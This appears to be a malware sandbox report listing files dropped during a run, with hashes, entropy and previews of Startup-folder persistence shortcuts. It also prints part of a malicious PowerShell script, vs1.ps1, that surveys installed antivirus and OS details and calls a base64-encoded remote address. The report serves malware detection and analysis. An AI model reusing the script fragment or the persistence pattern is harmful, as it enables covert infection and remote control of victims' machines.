Entropy (8bit):	4.523347303106581
Encrypted:	false
SSDEEP:	48:cvIwwtl8zsle702I7VFJ5WS2Cfjk+8s3rm8M4JYVNcSFFk+q8SCSPoqQUd:uILfs7GySPftfJak/LQUd
MD5:	B7B0C18498686D15BD435356775BE5AA
SHA1:	7096CA32A73FA10444B4808DDA5E5E02B19F73DE
SHA-256:	3228E9050A14EBFF0F6D6A0B6F2917F8C0BF3DB6E80CE874169E7D1C8AD0A828
SHA-512:	673D87D01DB011133954E2A6E5ECB78127E0B2113D8C26870B193BAB34274C3D4019F7DAE736DC602EC05AFC14EF5A7882B3DB2744044DA22648B7C922DDEFA8
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19042" />.. <arg nm="vercsdbld" val="1165" />.. <arg nm="verqfe" val="1165" />.. <arg nm="csdbld" val="1165" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="242" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="222904773" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	26328
Entropy (8bit):	5.049018369731122
Encrypted:	false
SSDEEP:	768:rYtFDwKxtAHkUopbjoRjdvRoHWrxdH3KinHzwcSvqCwzYkvkaJfNeff:rYtFUKxtAHkUibjoRjdvR8WrxIinHzwp
MD5:	517F4284D3FF74BD76A7DEA9F2AA9681
SHA1:	6B9350F30744A23475BDAEE2D3DBEC58144BBD34
SHA-256:	2D9E4332820BC34DE4DC7A556486CC92677F39E572E684603173610BB7FCEAA9
SHA-512:	B923EBC947C4F82160FFAFD861BCDFB1D2B51841C93001995A08CCED67907C728DAF3DF1B96F76AD1F16876E872DB3A9DD066617D7053521FA1F46FE2D28F961
Malicious:	false
Preview:	PSMODULECACHE.'...E..F.z..K...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DnsClient\DnsClient.psd1........Get-DnsClient........Set-DnsClient........Get-DnsClientCache........Remove-DnsClientNrptRule........Get-DnsClientServerAddress........Add-DnsClientNrptRule........Set-DnsClientNrptRule........Set-DnsClientNrptGlobal........Clear-DnsClientCache........Set-DnsClientServerAddress........Register-DnsClient........Resolve-DnsName........Get-DnsClientNrptGlobal........Get-DnsClientNrptPolicy........Get-DnsClientNrptRule........Get-DnsClientGlobalSetting........Set-DnsClientGlobalSetting..........N.UQ..?...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ISE\ISE.psd1........Import-IseSnippet........Get-IseSnippet........New-IseSnippet............z..K...C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\PSReadline.psd1........PSConsoleHostReadLine........Get-PSReadLineOption........Set-PSReadLineKeyHandler........Get-PSReadLineKeyHandler........Set-PSReadLineOption......

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	3428
Entropy (8bit):	5.408200273959752
Encrypted:	false
SSDEEP:	96:/AzlGHcIFKLdO9qrE7KfirJ5Eo9Adrx9Gdy:48HctdjrliLL2H
MD5:	972740E659582919F2CE349D97430589
SHA1:	5E5F9FA8F8B3DD8F108A1E4E6ABD4FD375E6A782
SHA-256:	60123F4CE8B435BE703707C27AAEAC6FFC121749767343478A7C33BCD87F5595
SHA-512:	D4665DBEBF882B0D4FDBFC95F89E87FCDD85DFF2E36A9E1A230A65B5EB315E01EEC97990DBACE0B794F8E889F57CCCF028604D0317252B52B7A2B386D6F858DC
Malicious:	false
Preview:	@...e...........................................................H..............@-....f.J.\|.7h8..-.......Microsoft.Powershell.PSReadline.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0...............I.....B..ZR............System..4......................A....E..........System.Core.D................g$H..K..I.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4...............F;7..C..f.G..........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.8.................C}...C....n..B........Microsoft.CSharpP...............

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:NlllulXlglltZ:NllU1g
MD5:	24D987704F4C1B0B89FC9EED36B6C813
SHA1:	4232D5B0A29A72C36AFE31F95DFA8BF3159F4F83
SHA-256:	2A31FE2FA433CA93AC7D0F024C9ACDF9141699A63A05CF03DF39B23E80D0B779
SHA-512:	4A5EEAEFBFA74A8B1CF92B3169E7346CFFE7F7BE85A57A8C3E452920B305AC7E92FB0DDC0C653DE70EB203C6950FC10B649415E97CA08C7A9BBEB57219D4FD7A
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2qitb4ik.utm.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5wiwsnj3.adr.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_blqdhdij.dyb.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hnzpo32z.vty.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hoibnyb5.1gg.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kc0gc2oy.amb.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m24gtgkd.jnw.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oztbspws.bc5.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_spj4h3id.ev5.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tjkvajs3.ge2.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ygthgct0.dsq.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zywqmgiq.4yr.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_kjfech8_V.lnk

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Icon number=1, Archive, ctime=Sat Oct 26 21:21:46 2024, mtime=Sat Oct 26 21:21:46 2024, atime=Sat Oct 26 21:21:46 2024, length=481, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	1130
Entropy (8bit):	4.662948895705751
Encrypted:	false
SSDEEP:	12:8dbaQrRU4IeZcCHqXWxI5ACmUyKTJaXWjEjA+2wu4f/XKbOkvEMBSgkNvLGwZv4m:8bMGu2UZTgmUA5f43aDEMBSnvaSJTvm
MD5:	EC08BF2F6319354637EC5CFB2928307B
SHA1:	A048C2957E4C64B0A8B6FB7151FADAA823B79A06
SHA-256:	DBE7E3E634391AA090E27A236194211963338DB400538198D8011B9369E9D06A
SHA-512:	546C10CB12793237291745EF349F01473B40E16C5AC7D6296FB4756172F4A3F384514A6E5EEBC75E587505F42A5959174910BAA5416A4B0FDD3958981D2BDF61
Malicious:	true
Preview:	L..................F.... ......q.'..H..q.'..H..q.'...............................P.O. .:i.....+00.../C:\...................x.1....."S...Users.d......OwHZY.......u..............:.......8.U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....\|.1.....ZY....Public..f......O.IZY......Du..............<......5..P.u.b.l.i.c...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.6.....z.2.....ZY.. .W1064_~1.CMD..^......ZY..ZY................................W.1.0.6.4._.0.3._.k.j.f.e.c.h.8._.V...c.m.d.......U...............-.......T............WW>.....C:\Users\Public\computer_kjfech8_V.cmd..5.....\.....\.....\.....\.....\.....\.....\.....\.P.u.b.l.i.c.\.W.1.0.6.4._.0.3._.k.j.f.e.c.h.8._.V...c.m.d.-.%.P.r.o.g.r.a.m.F.i.l.e.s.%.\.I.n.t.e.r.n.e.t. .E.x.p.l.o.r.e.r.\.i.e.x.p.l.o.r.e...e.x.e.............!............v..*.cM.jVD.Es.!...`.......X.......061544..............n4UB.. .\|..oXRb......E.P..#.....n4UB.. .\|..oXRb......E.P..#.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.4.2.5.3.1.6.5.6

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_kjfech8_VAA.lnk

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, Icon number=1, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	549
Entropy (8bit):	2.9733182199850496
Encrypted:	false
SSDEEP:	6:4xtU1xRcxPhKDhACKDjMLAmIKDhACqBtw4ACAACqBZ2bOlyvEMl4Yrlcdt/:8GHRcXKWiLAmIKWhE36h/2bOkvEMBi
MD5:	25D62C08509B6F5A2A234895DD7F9531
SHA1:	29666F5CE912D83EB4CBE9026568592D946B121B
SHA-256:	F74453C9DD7089B0D4FE3F19E023A8DAE8A3B325F626C81C77FF9D95C0918666
SHA-512:	539CFC561ABE16C31EBA6BA602B19BD6A77917ED0DD5609B905A38CFF5170C055059AE40B3889A3892D7704D8205F5D63044475F0605995CC4CDE231FBF9C27D
Malicious:	false
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................`.1..........._kjfech8_V..F............................................_.k.j.f.e.c.h.8._.V.....r.2..........._kjfech8_Vi7.exe..R............................................_.k.j.f.e.c.h.8._.V.i.7...e.x.e... ...6.....\.....\.....\.....\.....\.....\.....\.....\.....\._.k.j.f.e.c.h.8._.V.\._.k.j.f.e.c.h.8._.V.i.7...e.x.e...C.:.\.-.%.P.r.o.g.r.a.m.F.i.l.e.s.%.\.I.n.t.e.r.n.e.t. .E.x.p.l.o.r.e.r.\.i.e.x.p.l.o.r.e...e.x.e.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_kjfech8_VAT.lnk

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, Has command line arguments, Icon number=1, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	617
Entropy (8bit):	2.9973063303812637
Encrypted:	false
SSDEEP:	6:4xt2/b12RcxPhKDhACADjrmhACFAtM4ACAACFAjEbACyACAAC5UrbOlyvEMl4Yri:8wb4RcXKWL9EZ36EKEsI64gbOkvEMBi
MD5:	FF10667B4DE352B43BDE9FF5E7D851B2
SHA1:	EF53D29B6542E0571B43613B3AC183617D804184
SHA-256:	799F9DCBC3DB2B437DA52DA2C0A9928694BFE9B6DC6F62BD1F39C85A01E92D41
SHA-512:	16CC6EB7530D61A06DCE9B05540E86E44D13B12E997755FCDFD8CAB18BA16FF10B2F3521EFFEC7F7E3911DDFAB0564184B2B97AD8619B1C67E34BB5A4F904711
Malicious:	false
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................`.1..........._kjfech8_V..F............................................_.k.j.f.e.c.h.8._.V.....l.2..........._kjfech8_V.exe..N............................................_.k.j.f.e.c.h.8._.V...e.x.e.......4.....\.....\.....\.....\.....\.....\.....\.....\.....\._.k.j.f.e.c.h.8._.V.\._.k.j.f.e.c.h.8._.V...e.x.e...C.:.\._.k.j.f.e.c.h.8._.V.\...C.:.\._.k.j.f.e.c.h.8._.V.\._.k.j.f.e.c.h.8._.V...a.t.-.%.P.r.o.g.r.a.m.F.i.l.e.s.%.\.I.n.t.e.r.n.e.t. .E.x.p.l.o.r.e.r.\.i.e.x.p.l.o.r.e...e.x.e.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_kjfech8_VEX.lnk

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, Has command line arguments, Icon number=1, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	617
Entropy (8bit):	2.996511800404485
Encrypted:	false
SSDEEP:	6:4xt2/b12RcxPhKDhACADjrmhACFAtM4ACAACFAjEbACyACAAC5TBbOlyvEMl4Yri:8wb4RcXKWL9EZ36EKEsI64TBbOkvEMBi
MD5:	E0F4813BC49568FD0575A24C54F79F1C
SHA1:	454E93B73AAA189889A34D0F490981AB9BFDBFCC
SHA-256:	823DB2B0FFAA5C69761E8FAEA7D548279D1C48E38B8FC05F44C355D8D1A9A785
SHA-512:	DFD5C21880B77A02D30180DF7352757D79E960829AEFBBAD7F3C30956667C57B8B8687DB6D4D12AAF8C7EB0BE9CE61A09DF2C7D42DAA8ACEA911A770999D2FE7
Malicious:	false
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................`.1..........._kjfech8_V..F............................................_.k.j.f.e.c.h.8._.V.....l.2..........._kjfech8_V.exe..N............................................_.k.j.f.e.c.h.8._.V...e.x.e.......4.....\.....\.....\.....\.....\.....\.....\.....\.....\._.k.j.f.e.c.h.8._.V.\._.k.j.f.e.c.h.8._.V...e.x.e...C.:.\._.k.j.f.e.c.h.8._.V.\...C.:.\._.k.j.f.e.c.h.8._.V.\._.k.j.f.e.c.h.8._.V...a.i.-.%.P.r.o.g.r.a.m.F.i.l.e.s.%.\.I.n.t.e.r.n.e.t. .E.x.p.l.o.r.e.r.\.i.e.x.p.l.o.r.e...e.x.e.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_kjfech8_Vy.lnk

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Icon number=1, Archive, ctime=Sat Oct 26 21:21:46 2024, mtime=Sat Oct 26 21:21:46 2024, atime=Sat Oct 26 21:21:46 2024, length=482, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.66634468229895
Encrypted:	false
SSDEEP:	24:8ty6aMGuAFyF5TAKfqLDEMBSnvaERLJTvm:817G1Q06qLDvBSiUTv
MD5:	52E5A3D4D4C73848CB1E1096CD2227C9
SHA1:	4586D5AAEDB9479AF92D0EA48DF2CE1E9C8229C3
SHA-256:	4D41C55C24689E58F123CF16408AEF7477BD5549B13E155775FA504A96B020CF
SHA-512:	77E9E4DE111966AB0AB08C18688F9DA0418B697A72A88E2E11E0C887CDE1F2030F13E4EA61E51251355423A0148D54E3EC2FA3460276007ADE891F49F47F8822
Malicious:	false
Preview:	L..................F.... .....q.'....q.'....q.'...............................P.O. .:i.....+00.../C:\...................x.1....."S...Users.d......OwHZY.......u..............:.......8.U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....\|.1.....ZY....Public..f......O.IZY......Du..............<......N..P.u.b.l.i.c...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.6.....\|.2.....ZY.. .W1064_~2.CMD..`......ZY..ZY.............................N..W.1.0.6.4._.0.3._.k.j.f.e.c.h.8._.V.y...c.m.d.......V...............-.......U............WW>.....C:\Users\Public\computer_kjfech8_Vy.cmd..6.....\.....\.....\.....\.....\.....\.....\.....\.P.u.b.l.i.c.\.W.1.0.6.4._.0.3._.k.j.f.e.c.h.8._.V.y...c.m.d.-.%.P.r.o.g.r.a.m.F.i.l.e.s.%.\.I.n.t.e.r.n.e.t. .E.x.p.l.o.r.e.r.\.i.e.x.p.l.o.r.e...e.x.e.............!............v..*.cM.jVD.Es.!...`.......X.......061544..............n4UB.. .\|..ooRb......E.P..#.....n4UB.. .\|..ooRb......E.P..#.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.4.2.5.3.1.

C:\Users\Public\201024

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	2.968918563962097
Encrypted:	false
SSDEEP:	3:Q665AyXpn:Q64ACpn
MD5:	BE0D37AD6237FD8EA3C01C06C1CCF52A
SHA1:	E42CF8B5459C5AB4F6A2E3BF1849D817EB148829
SHA-256:	F5F443E1F6CFAA8A9D23324F8EAA986D3C34370136B3781704A87FF76C2B2B95
SHA-512:	E673FD497F86145D28ED2AD3CCEB0CE2651BD31BCE8329C6DA43835A3EC8F1493E670033FA050B114CF89CB70E352B99FE0BE310E24D78811895F02C4B05E328
Malicious:	false
Preview:	.._.k.j.f.e.c.h.8._.V.....

C:\Users\Public\Documents\vs1.ps1

Process:	C:\Windows\System32\curl.exe
File Type:	awk or perl script, ASCII text, with very long lines (456), with CRLF line terminators
Category:	modified
Size (bytes):	26455
Entropy (8bit):	5.059985897734625
Encrypted:	false
SSDEEP:	768:GNiNrnhcaZWyW+ud7/r6jbw8GlftuLGuIwUcLMV8GGGMrGMbGb7Y4X5uGLMVadRq:A8rnhcaZWyW+ud7/r6jbw8GlftuLGuIm
MD5:	67F4511BB417F6CF9A57B2B3D09E9BDF
SHA1:	D15346D2BB0FF8C04DFB8BA2DE64778CA1480638
SHA-256:	D91DA055F8BE70FEF8B7E5B11849038C7E5BC8161ADC45691B95DED71F59819A
SHA-512:	DEF411D1F1523E20CF9BA5610AA17191163902732E23ED6E368912DCED5CB493AFA7F9CFE5B38A67D4E865A635BF448F740629F3F2A30B630FC12424CF8F9AD9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\Public\Documents\vs1.ps1, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	function ____///////// { ..[cmdletBinding()] ..param ( ..[string]$ComputerName = "$env:computername" , ..$Credential ..) .. BEGIN .. { .. $wmiQuery = "SELECT * FROM AntiVirusProduct" .. } .. PROCESS .. { $AntivirusProduct = Get-WmiObject -Namespace "root\SecurityCenter2" -Query $wmiQuery @psboundparameters .. $AntivirusNames = $AntivirusProduct.displayName .. $lang = Get-Culture .. $lang = $lang.displayname.. .. $winds = (Get-WmiObject -class Win32_OperatingSystem).Caption.. if($env:PROCESSOR_ARCHITECTURE -eq "x86"){ $Bits =" 32-Bit CPU "}Else{ $Bits =" 64-Bit CPU "}.... $WebRequest = [System.Net.WebRequest]::Create(([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwA2ADIALgA3ADIALgAzAC4AMgAxADAALwBsAGQAaAB0AC8AaQBuAGQAZQB4AC4AcABoAHAA')))) ..

C:\Users\Public\computer_kjfech8_V.cmd

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	481
Entropy (8bit):	5.355948864392777
Encrypted:	false
SSDEEP:	12:/IUb4u4tmm2scxuQpN+6LO5Sfy8n6fpArZrf7Xrfz+WB:wztosZ0N+6uS68n6crzrL1B
MD5:	CCE2A45859A6B85674883CB540E273ED
SHA1:	F6B6D6448338D6C78E9FF87CBAF6639D4B9D5AE6
SHA-256:	50B1323F0CE2221D4837C7BBF38C894B44CBA5D6532DCAE672AAAE3164E6FC8E
